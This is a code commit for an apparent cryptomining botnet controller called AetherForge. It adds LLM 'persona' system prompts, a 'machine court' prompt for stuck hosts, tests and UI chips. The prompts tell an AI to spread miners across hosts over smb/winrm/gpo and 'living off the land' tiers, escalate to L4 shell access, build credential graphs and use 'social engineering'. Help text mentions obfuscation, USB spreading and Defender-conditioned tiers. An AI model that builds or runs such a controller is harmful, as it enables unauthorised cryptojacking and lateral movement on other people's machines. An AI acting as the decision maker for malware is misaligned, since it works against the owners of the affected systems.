Add Calibrate AI persona presets with per-mode system prompts
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
227
server/internal/ai/court_prompt.go
Normal file
227
server/internal/ai/court_prompt.go
Normal file
@@ -0,0 +1,227 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// CourtContext supplies failure atlas and phenotype data for stuck-host tribunals.
|
||||
type CourtContext interface {
|
||||
FailureAtlasSummary(fingerprintKey, goos string) string
|
||||
BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool)
|
||||
}
|
||||
|
||||
// CourtPromptBundle is the single-turn court prompt with role snippets for audit/UI.
|
||||
type CourtPromptBundle struct {
|
||||
SystemPrompt string
|
||||
UserPrompt string
|
||||
ProsecutorSnippet string
|
||||
DefenderSnippet string
|
||||
}
|
||||
|
||||
// CourtDecisionMeta is persisted alongside a court-session decision.
|
||||
type CourtDecisionMeta struct {
|
||||
CourtSession bool
|
||||
ProsecutorSnippet string
|
||||
DefenderSnippet string
|
||||
JudgeVerdict string
|
||||
}
|
||||
|
||||
// ShouldUseCourt returns true when the host is stuck or all spread tiers failed.
|
||||
func ShouldUseCourt(s AgentSnapshot) bool {
|
||||
return s.Stuck || AllSpreadTiersFailed(s)
|
||||
}
|
||||
|
||||
// AllSpreadTiersFailed is true when every default spread tier was attempted and none succeeded.
|
||||
func AllSpreadTiersFailed(s AgentSnapshot) bool {
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range s.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
attempted := 0
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
a, ok := attemptByTier[tier]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
attempted++
|
||||
if a.OK {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return attempted == len(defaultSpreadTiers)
|
||||
}
|
||||
|
||||
// BuildCourtPrompt renders the singular machine court single-turn prompt.
|
||||
func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.FleetPhenotype, persona string) CourtPromptBundle {
|
||||
prosecutor := buildProsecutorSection(s, atlasSummary)
|
||||
defender := buildDefenderSection(phenotype)
|
||||
|
||||
var system strings.Builder
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
|
||||
Never target third-party systems.`))
|
||||
system.WriteString("\n\n## PROSECUTOR\n")
|
||||
system.WriteString(prosecutor)
|
||||
system.WriteString("\n\n## DEFENDER\n")
|
||||
system.WriteString(defender)
|
||||
|
||||
var user strings.Builder
|
||||
fmt.Fprintf(&user, "Agent under review: name=%q id=%s\n", s.Name, s.AgentID)
|
||||
fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
|
||||
fmt.Fprintf(&user, "Mining hashrate: %.2f H/s (stuck)\n", s.MiningHashrate)
|
||||
if s.FingerprintKey != "" {
|
||||
fmt.Fprintf(&user, "Fingerprint: %s\n", s.FingerprintKey)
|
||||
}
|
||||
user.WriteString("\n## JUDGE\n")
|
||||
user.WriteString(CourtJudgeOverlay(persona))
|
||||
user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n")
|
||||
user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n")
|
||||
user.WriteString("Example:\nVerdict: restart mining chain after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}\n")
|
||||
|
||||
return CourtPromptBundle{
|
||||
SystemPrompt: system.String(),
|
||||
UserPrompt: user.String(),
|
||||
ProsecutorSnippet: prosecutor,
|
||||
DefenderSnippet: defender,
|
||||
}
|
||||
}
|
||||
|
||||
func buildProsecutorSection(s AgentSnapshot, atlasSummary string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("Charges: host is stuck with zero hashrate after exhausting spread/mining options.\n")
|
||||
if strings.TrimSpace(atlasSummary) != "" {
|
||||
fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(atlasSummary))
|
||||
}
|
||||
failed, total := countSpreadFailures(s)
|
||||
if total > 0 {
|
||||
fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total)
|
||||
} else {
|
||||
b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n")
|
||||
}
|
||||
b.WriteString("Per-tier spread attempts:\n")
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range s.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[tier]; ok {
|
||||
status := "fail"
|
||||
if a.OK {
|
||||
status = "ok"
|
||||
}
|
||||
if a.Error != "" {
|
||||
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
|
||||
} else {
|
||||
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
|
||||
}
|
||||
}
|
||||
}
|
||||
if s.ChainExhausted {
|
||||
b.WriteString("Mining chain exhausted: true\n")
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
func buildDefenderSection(phenotype *strategy.FleetPhenotype) string {
|
||||
if phenotype == nil {
|
||||
return "No matching FleetPhenotype on record for this fingerprint. Counsel cannot cite a peer success path."
|
||||
}
|
||||
var b strings.Builder
|
||||
name := phenotype.SourceAgentName
|
||||
if name == "" {
|
||||
name = phenotype.SourceAgentID
|
||||
}
|
||||
fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint)
|
||||
if phenotype.ActiveTier != "" {
|
||||
fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate)
|
||||
}
|
||||
if phenotype.SpreadLane != "" {
|
||||
fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane)
|
||||
}
|
||||
if len(phenotype.TierOrder) > 0 {
|
||||
fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → "))
|
||||
}
|
||||
if raw, err := json.Marshal(phenotype); err == nil {
|
||||
fmt.Fprintf(&b, "Phenotype JSON: %s", string(raw))
|
||||
}
|
||||
return strings.TrimSpace(b.String())
|
||||
}
|
||||
|
||||
func countSpreadFailures(s AgentSnapshot) (failed, total int) {
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range s.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[tier]; ok {
|
||||
total++
|
||||
if !a.OK {
|
||||
failed++
|
||||
}
|
||||
}
|
||||
}
|
||||
return failed, total
|
||||
}
|
||||
|
||||
// ExtractJudgeVerdict pulls the one-line verdict preceding the commands JSON.
|
||||
func ExtractJudgeVerdict(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return ""
|
||||
}
|
||||
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||
line := strings.TrimSpace(raw[:idx])
|
||||
return trimVerdictPrefix(line)
|
||||
}
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "{") {
|
||||
continue
|
||||
}
|
||||
return trimVerdictPrefix(line)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func trimVerdictPrefix(line string) string {
|
||||
line = strings.TrimSpace(line)
|
||||
for _, prefix := range []string{"Verdict:", "VERDICT:", "Judge:", "JUDGE:"} {
|
||||
if strings.HasPrefix(line, prefix) {
|
||||
return strings.TrimSpace(line[len(prefix):])
|
||||
}
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
// ComputeStuck mirrors agent stuck detection from snapshot telemetry.
|
||||
func ComputeStuck(s AgentSnapshot) bool {
|
||||
if s.Stuck {
|
||||
return true
|
||||
}
|
||||
if s.MiningHashrate > 0 {
|
||||
return false
|
||||
}
|
||||
if s.ChainExhausted {
|
||||
return true
|
||||
}
|
||||
attemptByTier := map[string]TierAttempt{}
|
||||
for _, a := range s.LOTLAttempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
attempted := 0
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
if a, ok := attemptByTier[tier]; ok {
|
||||
attempted++
|
||||
if a.OK {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return attempted > 0 && attempted == len(defaultSpreadTiers)
|
||||
}
|
||||
144
server/internal/ai/court_prompt_test.go
Normal file
144
server/internal/ai/court_prompt_test.go
Normal file
@@ -0,0 +1,144 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
type mockCourt struct {
|
||||
atlas string
|
||||
phenotype *strategy.FleetPhenotype
|
||||
}
|
||||
|
||||
func (m *mockCourt) FailureAtlasSummary(_, _ string) string { return m.atlas }
|
||||
func (m *mockCourt) BestPhenotype(_, _ string) (*strategy.FleetPhenotype, bool) {
|
||||
if m.phenotype == nil {
|
||||
return nil, false
|
||||
}
|
||||
return m.phenotype, true
|
||||
}
|
||||
|
||||
func stuckSpreadAttempts() []TierAttempt {
|
||||
attempts := make([]TierAttempt, 0, len(defaultSpreadTiers))
|
||||
for _, tier := range defaultSpreadTiers {
|
||||
attempts = append(attempts, TierAttempt{Tier: tier, OK: false, Error: "blocked"})
|
||||
}
|
||||
return attempts
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
|
||||
snap := AgentSnapshot{
|
||||
AgentID: "agent-stuck",
|
||||
Name: "stuck-host",
|
||||
GOOS: "windows",
|
||||
MiningHashrate: 0,
|
||||
Stuck: true,
|
||||
ChainExhausted: true,
|
||||
LOTLAttempts: stuckSpreadAttempts(),
|
||||
}
|
||||
bundle := BuildCourtPrompt(snap, "docker 8/8 failed (100%)", nil, PersonaBalanced)
|
||||
if !strings.Contains(bundle.SystemPrompt, "## PROSECUTOR") {
|
||||
t.Fatal("expected prosecutor section in system prompt")
|
||||
}
|
||||
if !strings.Contains(bundle.ProsecutorSnippet, "14/14 failed") {
|
||||
t.Fatalf("prosecutor missing failure count: %s", bundle.ProsecutorSnippet)
|
||||
}
|
||||
if !strings.Contains(bundle.ProsecutorSnippet, "Failure atlas: docker 8/8 failed") {
|
||||
t.Fatalf("prosecutor missing atlas: %s", bundle.ProsecutorSnippet)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptDefenderPhenotype(t *testing.T) {
|
||||
phenotype := &strategy.FleetPhenotype{
|
||||
Fingerprint: "windows|1|0|1|0|0|10.0.0",
|
||||
SourceAgentID: "agent-ok",
|
||||
SourceAgentName: "agent-ok",
|
||||
ActiveTier: "container",
|
||||
PeakHashrate: 1500,
|
||||
TierOrder: []string{"container", "inprocess"},
|
||||
}
|
||||
snap := AgentSnapshot{
|
||||
AgentID: "agent-stuck",
|
||||
Stuck: true,
|
||||
LOTLAttempts: []TierAttempt{
|
||||
{Tier: "docker", OK: false, Error: "denied"},
|
||||
},
|
||||
}
|
||||
bundle := BuildCourtPrompt(snap, "", phenotype, PersonaPersuasive)
|
||||
if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from agent-ok") {
|
||||
t.Fatalf("defender missing phenotype: %s", bundle.DefenderSnippet)
|
||||
}
|
||||
if !strings.Contains(bundle.DefenderSnippet, "Winning tier: container") {
|
||||
t.Fatalf("defender missing winning tier: %s", bundle.DefenderSnippet)
|
||||
}
|
||||
if !strings.Contains(bundle.SystemPrompt, "## DEFENDER") {
|
||||
t.Fatal("expected defender section in system prompt")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseCommandsFromCourtResponse(t *testing.T) {
|
||||
raw := "Verdict: restart mining after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}},{\"type\":\"noop\",\"args\":{}}]}"
|
||||
verdict := ExtractJudgeVerdict(raw)
|
||||
if !strings.Contains(verdict, "restart mining") {
|
||||
t.Fatalf("verdict: %q", verdict)
|
||||
}
|
||||
cmds := ParseCommands(raw)
|
||||
if len(cmds) != 2 || cmds[0].Type != CmdRestartMining {
|
||||
t.Fatalf("cmds: %+v", cmds)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldUseCourtStuckOrAllFailed(t *testing.T) {
|
||||
if !ShouldUseCourt(AgentSnapshot{Stuck: true}) {
|
||||
t.Fatal("expected court for stuck")
|
||||
}
|
||||
snap := AgentSnapshot{LOTLAttempts: stuckSpreadAttempts()}
|
||||
if !ShouldUseCourt(snap) {
|
||||
t.Fatal("expected court when all spread tiers failed")
|
||||
}
|
||||
if ShouldUseCourt(AgentSnapshot{LOTLAttempts: []TierAttempt{{Tier: "docker", OK: true}}}) {
|
||||
t.Fatal("expected mission prompt when a tier succeeded")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchedulerUsesCourtWhenStuck(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
var gotSystem, gotUser string
|
||||
DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
|
||||
gotSystem = systemPrompt
|
||||
gotUser = userPrompt
|
||||
return "Verdict: noop.\n{\"commands\":[{\"type\":\"noop\",\"args\":{}}]}", nil
|
||||
}
|
||||
|
||||
exec := &mockExec{}
|
||||
store := &mockStore{}
|
||||
court := &mockCourt{atlas: "wsl 5/5 failed (100%)"}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||
&mockSnap{
|
||||
ids: []string{"agent-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "agent-1", Name: "host", Stuck: true,
|
||||
LOTLAttempts: stuckSpreadAttempts(),
|
||||
},
|
||||
},
|
||||
exec,
|
||||
store,
|
||||
court,
|
||||
nil,
|
||||
)
|
||||
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
if !strings.Contains(gotSystem, "## PROSECUTOR") {
|
||||
t.Fatalf("expected court system prompt, got: %s", gotSystem)
|
||||
}
|
||||
if !strings.Contains(gotUser, "## JUDGE") {
|
||||
t.Fatalf("expected judge user prompt, got: %s", gotUser)
|
||||
}
|
||||
}
|
||||
85
server/internal/ai/personas.go
Normal file
85
server/internal/ai/personas.go
Normal file
@@ -0,0 +1,85 @@
|
||||
package ai
|
||||
|
||||
import "strings"
|
||||
|
||||
const (
|
||||
PersonaAggressive = "aggressive"
|
||||
PersonaSilent = "silent"
|
||||
PersonaPassive = "passive"
|
||||
PersonaPersuasive = "persuasive"
|
||||
PersonaBalanced = "balanced"
|
||||
)
|
||||
|
||||
// NormalizePersona maps aliases and unknown values to a valid persona id.
|
||||
func NormalizePersona(mode string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(mode)) {
|
||||
case PersonaAggressive:
|
||||
return PersonaAggressive
|
||||
case PersonaSilent:
|
||||
return PersonaSilent
|
||||
case PersonaPassive:
|
||||
return PersonaPassive
|
||||
case PersonaPersuasive:
|
||||
return PersonaPersuasive
|
||||
case PersonaBalanced, "":
|
||||
return PersonaBalanced
|
||||
default:
|
||||
return PersonaBalanced
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona.
|
||||
func PersonaSystemPrompt(mode string) string {
|
||||
base := SystemPrompt()
|
||||
overlay := personaMissionOverlay(NormalizePersona(mode))
|
||||
if overlay == "" {
|
||||
return base
|
||||
}
|
||||
return strings.TrimSpace(base + "\n\n" + overlay)
|
||||
}
|
||||
|
||||
func personaMissionOverlay(mode string) string {
|
||||
switch mode {
|
||||
case PersonaAggressive:
|
||||
return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts.
|
||||
Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first.
|
||||
Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting.
|
||||
Take every spread + mine opportunity; noisy retries are acceptable on your machines.`)
|
||||
case PersonaSilent:
|
||||
return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint.
|
||||
Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed.
|
||||
Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0.
|
||||
No bulk_command unless a single agent is critically stuck.`)
|
||||
case PersonaPassive:
|
||||
return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead.
|
||||
Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads).
|
||||
When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively.
|
||||
Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`)
|
||||
case PersonaPersuasive:
|
||||
return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes.
|
||||
Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes.
|
||||
Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust.
|
||||
Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`)
|
||||
default: // balanced
|
||||
return strings.TrimSpace(`PERSONA: Balanced — default mission behavior.
|
||||
Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy.
|
||||
Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available.
|
||||
Respond with short JSON commands; never target third-party systems.`)
|
||||
}
|
||||
}
|
||||
|
||||
// CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section.
|
||||
func CourtJudgeOverlay(mode string) string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n"
|
||||
case PersonaSilent:
|
||||
return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n"
|
||||
case PersonaPassive:
|
||||
return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n"
|
||||
case PersonaPersuasive:
|
||||
return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n"
|
||||
default:
|
||||
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
||||
}
|
||||
}
|
||||
67
server/internal/ai/personas_test.go
Normal file
67
server/internal/ai/personas_test.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPersonaSystemPromptNonEmptyDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
seen := make(map[string]string, len(modes))
|
||||
for _, mode := range modes {
|
||||
prompt := PersonaSystemPrompt(mode)
|
||||
if strings.TrimSpace(prompt) == "" {
|
||||
t.Fatalf("persona %q returned empty prompt", mode)
|
||||
}
|
||||
if !strings.Contains(prompt, "AetherForge fleet controller") {
|
||||
t.Fatalf("persona %q missing base system prompt", mode)
|
||||
}
|
||||
if prev, ok := seen[prompt]; ok {
|
||||
t.Fatalf("personas %q and %q produced identical prompts", prev, mode)
|
||||
}
|
||||
seen[prompt] = mode
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaSystemPromptModeSpecificGuidance(t *testing.T) {
|
||||
cases := []struct {
|
||||
mode string
|
||||
needle string
|
||||
}{
|
||||
{PersonaAggressive, "spread_now and discover_and_join"},
|
||||
{PersonaSilent, "Never spread_now unless stuck"},
|
||||
{PersonaPassive, "Default to noop"},
|
||||
{PersonaPersuasive, "discover_and_join before restart_mining"},
|
||||
{PersonaBalanced, "Balance spread vs mine"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
prompt := PersonaSystemPrompt(tc.mode)
|
||||
if !strings.Contains(prompt, tc.needle) {
|
||||
t.Fatalf("persona %q missing %q in:\n%s", tc.mode, tc.needle, prompt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizePersona(t *testing.T) {
|
||||
if got := NormalizePersona(" AGGRESSIVE "); got != PersonaAggressive {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := NormalizePersona("unknown"); got != PersonaBalanced {
|
||||
t.Fatalf("unknown should map to balanced, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCourtJudgeOverlayDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
prev := ""
|
||||
for _, mode := range modes {
|
||||
overlay := CourtJudgeOverlay(mode)
|
||||
if strings.TrimSpace(overlay) == "" {
|
||||
t.Fatalf("empty overlay for %q", mode)
|
||||
}
|
||||
if overlay == prev && prev != "" {
|
||||
t.Fatalf("duplicate court overlay for %q", mode)
|
||||
}
|
||||
prev = overlay
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,11 @@ import type { ServerSettings } from '../types';
|
||||
import { api } from '../api/client';
|
||||
import { HelpTip, FieldHint } from './HelpTip';
|
||||
import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
|
||||
import {
|
||||
AI_PERSONA_CHIPS,
|
||||
DEFAULT_AI_PERSONA,
|
||||
normalizeAIPersona,
|
||||
} from '../help/aiPersonas';
|
||||
|
||||
export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
|
||||
export const DEFAULT_AI_INTERVAL_SEC = 60;
|
||||
@@ -25,6 +30,7 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
||||
const endpoint = readEndpoint(server);
|
||||
const model = server.ai_model?.trim() || '';
|
||||
const intervalSec = readIntervalSec(server);
|
||||
const persona = normalizeAIPersona(server.ai_persona);
|
||||
|
||||
const [models, setModels] = useState<string[]>([]);
|
||||
const [refreshing, setRefreshing] = useState(false);
|
||||
@@ -87,6 +93,31 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
||||
<em>your</em> machines only. Complete fleet control stays on your LAN.
|
||||
</p>
|
||||
|
||||
<div className="form-group">
|
||||
<span className="label">AI persona</span>
|
||||
<div
|
||||
className="calibration-persona-chips"
|
||||
role="group"
|
||||
aria-label="AI persona preset"
|
||||
>
|
||||
{AI_PERSONA_CHIPS.map((chip) => (
|
||||
<div key={chip.id} className="calibration-persona-chip-wrap">
|
||||
<button
|
||||
type="button"
|
||||
className={`calibration-persona-chip${persona === chip.id ? ' calibration-persona-chip--selected' : ''}`}
|
||||
style={{ ['--chip-accent' as string]: chip.color }}
|
||||
aria-pressed={persona === chip.id}
|
||||
onClick={() => onUpdate('server.ai_persona', chip.id)}
|
||||
>
|
||||
<span className="calibration-persona-chip-label">{chip.label}</span>
|
||||
</button>
|
||||
<HelpTip field={chip.helpField} />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<FieldHint field="ai_persona" />
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label htmlFor="cal-ai-endpoint" className="label">
|
||||
Local API URL <HelpTip field="ai_local_endpoint" />
|
||||
|
||||
60
server/web/src/help/aiPersonas.ts
Normal file
60
server/web/src/help/aiPersonas.ts
Normal file
@@ -0,0 +1,60 @@
|
||||
/** Calibrate AI Control persona presets — distinct LLM system prompt modes. */
|
||||
export type AIPersonaId = 'aggressive' | 'silent' | 'passive' | 'persuasive' | 'balanced';
|
||||
|
||||
export const AI_PERSONA_IDS: AIPersonaId[] = [
|
||||
'aggressive',
|
||||
'silent',
|
||||
'passive',
|
||||
'persuasive',
|
||||
'balanced',
|
||||
];
|
||||
|
||||
export const DEFAULT_AI_PERSONA: AIPersonaId = 'balanced';
|
||||
|
||||
export interface AIPersonaChip {
|
||||
id: AIPersonaId;
|
||||
label: string;
|
||||
helpField: string;
|
||||
color: string;
|
||||
}
|
||||
|
||||
export const AI_PERSONA_CHIPS: AIPersonaChip[] = [
|
||||
{
|
||||
id: 'aggressive',
|
||||
label: 'Aggressive',
|
||||
helpField: 'ai_persona_aggressive',
|
||||
color: '#ff4466',
|
||||
},
|
||||
{
|
||||
id: 'silent',
|
||||
label: 'Silent',
|
||||
helpField: 'ai_persona_silent',
|
||||
color: '#6b8cff',
|
||||
},
|
||||
{
|
||||
id: 'passive',
|
||||
label: 'Passive',
|
||||
helpField: 'ai_persona_passive',
|
||||
color: '#88ccaa',
|
||||
},
|
||||
{
|
||||
id: 'persuasive',
|
||||
label: 'Persuasive',
|
||||
helpField: 'ai_persona_persuasive',
|
||||
color: '#e8a028',
|
||||
},
|
||||
{
|
||||
id: 'balanced',
|
||||
label: 'Balanced',
|
||||
helpField: 'ai_persona_balanced',
|
||||
color: '#00e8f5',
|
||||
},
|
||||
];
|
||||
|
||||
export function normalizeAIPersona(value: string | undefined | null): AIPersonaId {
|
||||
const v = (value ?? '').trim().toLowerCase();
|
||||
if (AI_PERSONA_IDS.includes(v as AIPersonaId)) {
|
||||
return v as AIPersonaId;
|
||||
}
|
||||
return DEFAULT_AI_PERSONA;
|
||||
}
|
||||
@@ -19,6 +19,7 @@ const HELP_TIP_FIELDS = [
|
||||
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
|
||||
'ai_persona', 'ai_persona_aggressive', 'ai_persona_silent', 'ai_persona_passive', 'ai_persona_persuasive', 'ai_persona_balanced',
|
||||
'adaptive_strategy', 'lotl_onion_tiers',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
|
||||
@@ -87,6 +87,12 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
calibration_ai_model: '/docs/#alerts-ai',
|
||||
ai_no_context: '/docs/#alerts-ai',
|
||||
ai_interval_sec: '/docs/#alerts-ai',
|
||||
ai_persona: '/docs/#alerts-ai',
|
||||
ai_persona_aggressive: '/docs/#alerts-ai',
|
||||
ai_persona_silent: '/docs/#alerts-ai',
|
||||
ai_persona_passive: '/docs/#alerts-ai',
|
||||
ai_persona_persuasive: '/docs/#alerts-ai',
|
||||
ai_persona_balanced: '/docs/#alerts-ai',
|
||||
adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
|
||||
|
||||
@@ -101,6 +101,16 @@ describe('FIELD_HELP', () => {
|
||||
'calibration_ai_model',
|
||||
'ai_no_context',
|
||||
'ai_interval_sec',
|
||||
'ai_auto_elevate_clearance',
|
||||
'fleet_phenotype',
|
||||
'failure_atlas',
|
||||
'ai_court_session',
|
||||
'ai_persona',
|
||||
'ai_persona_aggressive',
|
||||
'ai_persona_silent',
|
||||
'ai_persona_passive',
|
||||
'ai_persona_persuasive',
|
||||
'ai_persona_balanced',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'firewall_remote',
|
||||
|
||||
@@ -32,6 +32,14 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
|
||||
lotl_onion_tiers:
|
||||
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
|
||||
ai_auto_elevate_clearance:
|
||||
'When AI Control is on, the scheduler may raise an agent from L0–L3 to L4 when the host is stuck with all spread tiers failed — so court-ordered restart_mining and reorder_tiers can execute. Events appear in LOTL Timeline clearance history and Access Depth badge flash.',
|
||||
fleet_phenotype:
|
||||
'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
|
||||
failure_atlas:
|
||||
'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
|
||||
ai_court_session:
|
||||
